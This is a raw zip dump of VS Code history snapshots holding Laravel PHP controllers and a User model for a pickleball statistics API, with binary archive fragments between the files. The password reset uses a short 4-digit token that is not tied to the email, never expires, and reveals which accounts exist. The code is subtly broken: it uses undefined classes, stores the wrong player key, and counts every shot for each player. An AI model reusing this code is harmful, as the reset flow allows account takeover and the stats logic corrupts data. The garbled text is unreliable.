{"version":1,"resource":"vscode-remote://ssh-remote%2Bportfolio/home/portfolio/public_html/api.champpickelball.mycompanyportfolio.com/app/Http/Controllers/PlayerController.php","entries":[{"id":"IFEC.php","timestamp":1734611047384}]}PK �6fZ���� � History/7c8f8547/entries.jsonnu �Iw�� {"version":1,"resource":"vscode-remote://ssh-remote%2Bportfolio/home/portfolio/public_html/api.champpickelball.mycompanyportfolio.com/app/Http/Controllers/UserController.php","entries":[{"id":"suCJ.php","timestamp":1734611015258}]}PK �6fZ�S! ! History/7c8f8547/suCJ.phpnu �Iw�� <?php namespace App\Http\Controllers; use App\Http\Requests\LoginRequest; use App\Http\Requests\StoreUserRequest; use App\Http\Requests\UpdateUserRequest; use App\Models\Admin; use App\Models\User; use Illuminate\Http\Request; use Illuminate\Support\Facades\Validator; use App\Traits\ImageUploadTrait; use Illuminate\Support\Facades\DB; use Illuminate\Support\Facades\Mail; use Illuminate\Support\Str; class UserController extends Controller { use ImageUploadTrait; public function index(Request $request) { $query = $request->input('query'); $users = User::query(); $users->where(function($q) use ($query) { $q->where( DB::raw("CONCAT(fname, ' ', lname)"), 'like', '%' . $query . '%') ->orWhere( DB::raw("CONCAT(fname, ' ', middle_name, ' ', lname)"), 'like', '%' . $query . '%') ->orWhere('fname', 'like', '%' . $query . '%') ->orWhere('lname', 'like', '%' . $query . '%') ->orWhere('middle_name', 'like', '%' . $query . '%') ->orWhere('id',$query); }); $users = $users->orderBy('id', 'DESC')->get(); return response()->json(['status'=>true,'data'=>$users]); } public function show(Request $request, User $user) { return response()->json(['status'=>true,'data'=>$user]); } public function login(LoginRequest $request) { $message = ''; $request = $request->validated(); $login = (new Admin())->login($request['email'], $request['password'], $request['type']); $status = false; if (!$login['attempt']) return response()->json(['status' => $status, 'error' => 'Invalid Credentials']); if ($login['attempt']) { $user = auth($login['role'])->user(); // if($login['role'] == 'student' && !(new Admin)->checkStudentApproveStatus($user->id)) return response()->json(['status' => false, 'error' => 'Account Not Approved']); $user['token'] = $user->createToken('Access Token For ' . $login['role'])->accessToken; $user['role'] = $login['role']; $status = true; } return response()->json(['status' => $status, 'data' => $user, 'message'=>$message]); } function logout() { auth()->user()->token()->revoke(); return response()->json(['message' => 'Access token revoked successfully']); } public function forget() { $validator = Validator::make( request()->all(), [ 'email' => 'required|min:6|max:50', ] ); if ($validator->fails()) return response(['status' => false, 'errors' => $validator->errors()]); $user = User::where('email', request()->email)->first(); if ($user == null) { return response(['status' => false, 'message' => 'It looks like we do not have this account!']); } else { $token = rand(1000, 9999); Mail::raw("$token", function ($message) { $message->to(request()->email)->subject('Forget Password'); $message->from(env('MAIL_FROM_ADDRESS'), env('MAIL_FROM_NAME')); }); $user->reset_token = $token; if ($user->update()) return response(['status' => true, 'message' => 'Reset Token Has Been Sent! Check Your Email For The Link']); } } public function reset_password() { $controls = request()->all(); $rules = array( 'password' => 'required|confirmed|min:6|max:60', 'token' => 'required|digits:4', 'password_confirmation' => 'required|min:6|max:60', ); $messages = [ 'password.required' => 'Password is Required field', 'password_confirmation.required' => 'Password Confirmation is Required field', ]; $validator = Validator::make($controls, $rules, $messages); if ($validator->fails()) { return response(['status' => false, 'errors' => $validator->errors()]); } $user = User::where('reset_token', request()->token)->first(); if ($user != null) { $user->password = bcrypt(request()->password); $user->reset_token = null; $user->update(); return response(['status' => true, 'errors' => 'Password Updated']); } return response(['status' => false, 'errors' => 'Token Incorrect Or Token Expired']); } public function emailVerify($role, $id) { switch ($role) { case 'student': $student = Student::find($id); if (!$student->email_verified) { $student->update(['email_verified' => 1]); Mail::raw("Thank You For Verification", function ($message) use ($student) { $message->to($student->email)->subject('Email Verified'); $message->from(env('MAIL_FROM_ADDRESS'), env('MAIL_FROM_NAME')); }); return redirect(env('STUDENT_URL') . '?email_verified=true'); } return redirect(env('STUDENT_URL') . '?email_verified=true'); break; } } function setAndSendPassword($singer) { $allowedCharacters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()'; $randomPassword = Str::random(8, $allowedCharacters); $encryptedPassword = bcrypt($randomPassword); $singer = Singer::find($singer); $singer->update(['password' => $encryptedPassword]); // SORTED DATA $data = ['email' => $singer->email, 'password' => $randomPassword]; // DISPATCHING JOB Mail::to($singer->email)->send(new JudgeCredentialMail($data)); return response()->json(['status' => true, 'response' => 'Credentials will be sent shortly.']); } function store(StoreUserRequest $request) { $validatedRequest = $request->validated(); try { if (isset($validatedRequest['image']) && !empty($file = $validatedRequest['image'])) { $filePath = $this->uploadImage($file, 'uploads/users/images', Str::random(25)); $validatedRequest['image'] = $filePath; } $user = User::create($validatedRequest); return response()->json(['status'=>true, 'response'=>'Record Created', 'data'=>$user]); } catch (\Throwable $th) { return response()->json(['status'=>false, 'error'=>$th->getMessage()]); } } function update(UpdateUserRequest $request, User $user) { $validatedRequest = $request->validated(); try { if (isset($validatedRequest['image']) && !empty($file = $validatedRequest['image'])) { // DELETING OLD IMAGE IF EXISTS if (!empty($user->image)) { $this->deleteImage($user->image); $user->update(['image' => (NULL)]); } $filePath = $this->uploadImage($file, 'uploads/users/images', Str::random(25)); $validatedRequest['image'] = $filePath; } $user = $user->update($validatedRequest); return response()->json(['status'=>true, 'response'=>'Record Updated', 'data'=>$user]); } catch (\Throwable $th) { return response()->json(['status'=>false, 'error'=>$th->getMessage()]); } } function destroy(User $user) { if (!empty($user->image)) { $this->deleteImage($user->image); $user->update(['image' => (NULL)]); } $delete = $user->delete(); return response(['status'=>$delete, 'response'=>$delete]); } function activeDeactive(User $user) { if ($user->status == 0) { $user->update(['status' => 1]); Mail::raw(env('STUDENT_URL').'/subscription', function ($message) use ($user) { $message->to($user->email)->subject('Account Activated'); $message->from(env('MAIL_FROM_ADDRESS'), env('MAIL_FROM_NAME')); }); return response()->json(['status' => true, 'response' => "Account approved and mail sent to user"]); } $user->update(['status' => 0]); return response()->json(['status' => true, 'response' => "Account deactivated"]); } } PK �6fZ4���� � History/702d9991/entries.jsonnu �Iw�� {"version":1,"resource":"vscode-remote://ssh-remote%2Bportfolio/home/portfolio/public_html/api.champpickelball.mycompanyportfolio.com/app/Models/User.php","entries":[{"id":"vUsH.php","timestamp":1734447650298}]}PK �6fZMe�; � History/702d9991/vUsH.phpnu �Iw�� <?php namespace App\Models; // use Illuminate\Contracts\Auth\MustVerifyEmail; use Illuminate\Database\Eloquent\Casts\Attribute; use Illuminate\Database\Eloquent\Factories\HasFactory; use Illuminate\Foundation\Auth\User as Authenticatable; use Illuminate\Notifications\Notifiable; use Laravel\Passport\HasApiTokens; class User extends Authenticatable { use HasFactory, Notifiable, HasApiTokens; /** * The attributes that are mass assignable. * * @var array<int, string> */ protected $fillable = [ 'fname', 'lname', 'middle_name', 'email', 'password', ]; /** * The attributes that should be hidden for serialization. * * @var array<int, string> */ protected $hidden = [ 'password', 'remember_token', ]; /** * Get the attributes that should be cast. * * @return array<string, string> */ public function logs() { return $this->morphMany(Log::class, 'loggable'); } public function player() { return $this->belongsTo(Player::class); } protected function casts(): array { return [ 'email_verified_at' => 'datetime', 'password' => 'hashed', ]; } // ACCESSOR protected function image(): Attribute { return Attribute::make( fn ($value) => !empty($value) ? asset($value) : '', ); } } PK �6fZ=)���( �( History/728fcfa4/1Mow.phpnu �Iw�� <?php namespace App\Http\Controllers; use Illuminate\Http\Request; use App\Models\CalculatedData; use App\Exports\PlayerStatsExport; use App\Models\Log; use App\Models\LogPlayer; use App\Models\Player; use App\Models\User; use Maatwebsite\Excel\Facades\Excel; use Illuminate\Support\Facades\Validator; class JsonController extends Controller { public function json(Request $request) { $validator = Validator::make($request->all(), [ 'player_id' => 'required|array|max:4', 'player_id.*' => 'required|exists:users,id', // 'player_fname.*' => 'required|string|max:255', // Each element in 'player_fname' array must be a string and required // 'player_name' => 'required|array', // Ensures 'player_fname' is an array and is required // 'player_name.*' => 'required|string|max:255', // Each element in 'player_fname' array must be a string and required ]); // dd($request->file('json_file')); // Check if validation fails $originalFileName = $request->file('json_file')->getClientOriginalName(); // dd($originalFileName); if ($validator->fails()) { return response()->json(['errors' => $validator->errors()], 422); } // if(auth()->user()->getTable()=="users"){ // $log = Log::create([ // 'log'=>$originalFileName, // 'user_id' =>auth()->id(), // ]); // } // else{ // $log = Log::create([ // 'log'=>$originalFileName, // 'admin_id' =>auth()->id(), // ]); // } $log = auth()->user()->logs()->create(['log' => $originalFileName]); // dd(auth()->user()->getTable()); if ($request->hasFile('json_file')) { // Read the JSON data from the uploaded file $jsonFile = $request->file('json_file'); $jsonData = file_get_contents($jsonFile->getRealPath()); $data = json_decode($jsonData, true); // dd($data->rallies); // Dynamically extract all player IDs from the JSON data // $players = $this->getPlayerIdsFromJson($data); $players = collect(); foreach($request['player_id'] as $key => $player_id) { $user = User::find($player_id); $player = Player::firstOrCreate(['fname'=>$user->fname,'user_id'=>$user->id])->id; $players->push($player); } // Iterate through each player and calculate stats foreach ($players as $player_id) { // Delete existing records for the player CalculatedData::where(['player_id' => $player_id, 'log_id' => $log->id])->delete(); // Initialize variables for each player's stats $at_attempts = 0; $winners = 0; $saves = 0; $serves = 0; $service_aces = 0; $service_errors = 0; $hits = 0; $errors = 0; $volley_hits = 0; $volley_hit_errors = 0; $pop_ups = 0; $shot_quality_total = 0; $valid_shots = 0; // Iterate through rallies and moments to calculate stats for each player foreach ($data['rallies'] as $rally) { // dd($rally); if (isset($rally['moments'])) { foreach ($rally['moments'] as $moment_index => $moment) { if (isset($moment['ball']) && isset($moment['ball']['shot'])) { $shot = $moment['ball']['shot']; // At Attempts (AA) if (isset($shot['resulting_ball_movement']['speed']) && $moment_index > 1) { $at_attempts += 1; } // Winners (W) if (($shot['is_final'] ?? false)) { $winners += 1; } // Saves (SAV) if (isset($shot['resulting_ball_movement']['speed']) && $shot['resulting_ball_movement']['speed'] >= 35) { $saves += 1; } // Serves (S), Service Aces (SA), and Service Errors (SE) if ($moment_index == 1) { $serves += 1; if (isset($moment['next_moment']) && !$moment['next_moment']['player_returned']) { $service_aces += 1; } // Uncomment if needed // if ($shot['result'] == 'out') { // $service_errors += 1; // } } // Hits (H) and Errors (E) // if ($shot['player_id'] == $player_id) { $hits += 1; // Uncomment if needed // if ($shot['result'] == 'out') { // $errors += 1; // } // } // Volley Hits (VH) and Volley Hit Errors (VHE) if (isset($shot['resulting_ball_movement']['is_volleyed']) && $shot['resulting_ball_movement']['is_volleyed']) { $volley_hits += 1; // Uncomment if needed // if ($shot['result'] == 'out') { // $volley_hit_errors += 1; // } } // Pop-Ups (PU) if ($moment_index >= 3 && isset($shot['resulting_ball_movement']['trajectory']['peak'])) { $trajectory = $shot['resulting_ball_movement']['trajectory']['peak']; if ($trajectory['z'] >= 5.00 && (0 <= $trajectory['x'] && $trajectory['x'] <= 20) && ((0 <= $trajectory['y'] && $trajectory['y'] <= 17) || (27 <= $trajectory['y'] && $trajectory['y'] <= 44))) { $pop_ups += 1; } } // Shot Quality (SQ) if (isset($shot['resulting_ball_movement']['speed'])) { $shot_quality_total += $shot['resulting_ball_movement']['speed'] * ($shot['spin'] ?? 0); $valid_shots += 1; } } } } } // Calculations for percentages and averages $serve_percentage = $serves > 0 ? (($serves - $service_errors) / $serves) * 100 : 0; $lifetime_serve_percentage = $serve_percentage; $hits_average = $hits > 0 ? (($hits - $errors) / $hits) * 100 : 0; $errors_percentage = $hits > 0 ? ($errors / $hits) * 100 : 0; $volley_hit_error_percentage = $volley_hits > 0 ? ($volley_hit_errors / $volley_hits) * 100 : 0; $pop_up_percentage = $at_attempts > 0 ? ($pop_ups / $at_attempts) * 100 : 0; $shot_quality_average = $valid_shots > 0 ? $shot_quality_total / $valid_shots : 0; // Create new record for the player CalculatedData::create([ 'player_id' => $key, 'player_id' => $key, 'log_id' => $log->id, 'at_attempts' => $at_attempts, 'winners' => $winners, 'saves' => $saves, 'serves' => $serves, 'service_aces' => $service_aces, 'service_errors' => $service_errors, 'serve_percentage' => round($serve_percentage, 2), 'lifetime_serve_percentage' => round($lifetime_serve_percentage, 2), 'hits' => $hits, 'hits_average' => round($hits_average, 2), 'errors' => $errors, 'errors_percentage' => round($errors_percentage, 2), 'volley_hits' => $volley_hits, 'volley_hit_errors' => $volley_hit_errors, 'volley_hit_error_percentage' => round($volley_hit_error_percentage, 2), 'pop_ups' => $pop_ups, 'pop_up_percentage' => round($pop_up_percentage, 2), 'shot_quality_average' => round($shot_quality_average, 2), ]); LogPlayer::create([ 'player_id'=>$player_id, 'log_id' =>$log->id, ]); } $data = CalculatedData::all(); return response()->json(['message' => 'Data processed successfully', 'data'=>$data]); } return response()->json(['error' => 'File not uploaded'], 400); } // Function to dynamically extract player IDs from the JSON data private function getPlayerIdsFromJson($data) { $players = []; // Extract unique player IDs from the 'rallies' and 'moments' foreach ($data['rallies'] as $rally) { if (isset($rally['moments'])) { foreach ($rally['moments'] as $moment) { if (isset($moment['ball']) && isset($moment['ball']['shot'])) { $player_id = $moment['ball']['shot']['player_id']; if (!in_array($player_id, $players)) { $players[] = $player_id; } } } } } return $players; } } PK �6fZd��? ? History/728fcfa4/entries.jsonnu �Iw�� {"version":1,"resource":"vscode-remote://ssh-remote%2Bportfolio/home/portfolio/public_html/api.champpickelball.mycompanyportfolio.com/app/Http/Controllers/JsonController.php","entries":[{"id":"EZ3T.php","timestamp":1734611210612},{"id":"w2DA.php","timestamp":1735212799910},{"id":"1Mow.php","timestamp":1735212825895}]}PK �6fZ��74�( �( History/728fcfa4/w2DA.phpnu �Iw�� <?php namespace App\Http\Controllers; use Illuminate\Http\Request; use App\Models\CalculatedData; use App\Exports\PlayerStatsExport; use App\Models\Log; use App\Models\LogPlayer; use App\Models\Player; use App\Models\User; use Maatwebsite\Excel\Facades\Excel; use Illuminate\Support\Facades\Validator; class JsonController extends Controller { public function json(Request $request) { $validator = Validator::make($request->all(), [ 'player_id' => 'required|array|max:4', 'player_id.*' => 'required|exists:users,id', // 'player_fname.*' => 'required|string|max:255', // Each element in 'player_fname' array must be a string and required // 'player_name' => 'required|array', // Ensures 'player_fname' is an array and is required // 'player_name.*' => 'required|string|max:255', // Each element in 'player_fname' array must be a string and required ]); // dd($request->file('json_file')); // Check if validation fails $originalFileName = $request->file('json_file')->getClientOriginalName(); // dd($originalFileName); if ($validator->fails()) { return response()->json(['errors' => $validator->errors()], 422); } // if(auth()->user()->getTable()=="users"){ // $log = Log::create([ // 'log'=>$originalFileName, // 'user_id' =>auth()->id(), // ]); // } // else{ // $log = Log::create([ // 'log'=>$originalFileName, // 'admin_id' =>auth()->id(), // ]); // } $log = auth()->user()->logs()->create(['log' => $originalFileName]); // dd(auth()->user()->getTable()); if ($request->hasFile('json_file')) { // Read the JSON data from the uploaded file $jsonFile = $request->file('json_file'); $jsonData = file_get_contents($jsonFile->getRealPath()); $data = json_decode($jsonData, true); // dd($data->rallies); // Dynamically extract all player IDs from the JSON data // $players = $this->getPlayerIdsFromJson($data); $players = collect(); foreach($request['player_id'] as $key => $player_id) { $user = User::find($player_id); $player = Player::firstOrCreate(['fname'=>$user->fname,'user_id'=>$user->id])->id; $players->push($player); } // Iterate through each player and calculate stats foreach ($players as $player_id) { // Delete existing records for the player CalculatedData::where(['player_id' => $player_id, 'log_id' => $log->id])->delete(); // Initialize variables for each player's stats $at_attempts = 0; $winners = 0; $saves = 0; $serves = 0; $service_aces = 0; $service_errors = 0; $hits = 0; $errors = 0; $volley_hits = 0; $volley_hit_errors = 0; $pop_ups = 0; $shot_quality_total = 0; $valid_shots = 0; // Iterate through rallies and moments to calculate stats for each player foreach ($data['rallies'] as $rally) { // dd($rally); if (isset($rally['moments'])) { foreach ($rally['moments'] as $moment_index => $moment) { if (isset($moment['ball']) && isset($moment['ball']['shot'])) { $shot = $moment['ball']['shot']; // At Attempts (AA) if (isset($shot['resulting_ball_movement']['speed']) && $moment_index > 1) { $at_attempts += 1; } // Winners (W) if (($shot['is_final'] ?? false)) { $winners += 1; } // Saves (SAV) if (isset($shot['resulting_ball_movement']['speed']) && $shot['resulting_ball_movement']['speed'] >= 35) { $saves += 1; } // Serves (S), Service Aces (SA), and Service Errors (SE) if ($moment_index == 1) { $serves += 1; if (isset($moment['next_moment']) && !$moment['next_moment']['player_returned']) { $service_aces += 1; } // Uncomment if needed // if ($shot['result'] == 'out') { // $service_errors += 1; // } } // Hits (H) and Errors (E) // if ($shot['player_id'] == $player_id) { $hits += 1; // Uncomment if needed // if ($shot['result'] == 'out') { // $errors += 1; // } // } // Volley Hits (VH) and Volley Hit Errors (VHE) if (isset($shot['resulting_ball_movement']['is_volleyed']) && $shot['resulting_ball_movement']['is_volleyed']) { $volley_hits += 1; // Uncomment if needed // if ($shot['result'] == 'out') { // $volley_hit_errors += 1; // } } // Pop-Ups (PU) if ($moment_index >= 3 && isset($shot['resulting_ball_movement']['trajectory']['peak'])) { $trajectory = $shot['resulting_ball_movement']['trajectory']['peak']; if ($trajectory['z'] >= 5.00 && (0 <= $trajectory['x'] && $trajectory['x'] <= 20) && ((0 <= $trajectory['y'] && $trajectory['y'] <= 17) || (27 <= $trajectory['y'] && $trajectory['y'] <= 44))) { $pop_ups += 1; } } // Shot Quality (SQ) if (isset($shot['resulting_ball_movement']['speed'])) { $shot_quality_total += $shot['resulting_ball_movement']['speed'] * ($shot['spin'] ?? 0); $valid_shots += 1; } } } } } // Calculations for percentages and averages $serve_percentage = $serves > 0 ? (($serves - $service_errors) / $serves) * 100 : 0; $lifetime_serve_percentage = $serve_percentage; $hits_average = $hits > 0 ? (($hits - $errors) / $hits) * 100 : 0; $errors_percentage = $hits > 0 ? ($errors / $hits) * 100 : 0; $volley_hit_error_percentage = $volley_hits > 0 ? ($volley_hit_errors / $volley_hits) * 100 : 0; $pop_up_percentage = $at_attempts > 0 ? ($pop_ups / $at_attempts) * 100 : 0; $shot_quality_average = $valid_shots > 0 ? $shot_quality_total / $valid_shots : 0; // Create new record for the player CalculatedData::create([ 'player_id' => $key, 'player_id' => $key, 'log_id' => $log->id, 'at_attempts' => $at_attempts, 'winners' => $winners, 'saves' => $saves, 'serves' => $serves, 'service_aces' => $service_aces, 'service_errors' => $service_errors, 'serve_percentage' => round($serve_percentage, 2), 'lifetime_serve_percentage' => round($lifetime_serve_percentage, 2), 'hits' => $hits, 'hits_average' => round($hits_average, 2), 'errors' => $errors, 'errors_percentage' => round($errors_percentage, 2), 'volley_hits' => $volley_hits, 'volley_hit_errors' => $volley_hit_errors, 'volley_hit_error_percentage' => round($volley_hit_error_percentage, 2), 'pop_ups' => $pop_ups, 'pop_up_percentage' => round($pop_up_percentage, 2), 'shot_quality_average' => round($shot_quality_average, 2), ]); LogPlayer::create([ 'player_id'=>$player_id, 'log_id' =>$log->id, ]); } $data = CalculatedData::all(); return response()->json(['message' => 'Data processed successfully', 'data'=>$data]); } return response()->json(['error' => 'File not uploaded'], 400); } // Function to dynamically extract player IDs from the JSON data private function getPlayerIdsFromJson($data) { $players = []; // Extract unique player IDs from the 'rallies' and 'moments' foreach ($data['rallies'] as $rally) { foreach ($rally['moments'] as $moment) { if (isset($moment['ball']) && isset($moment['ball']['shot'])) { $player_id = $moment['ball']['shot']['player_id']; if (!in_array($player_id, $players)) { $players[] = $player_id; } } } } return $players; } } PK �6fZ-�N�_'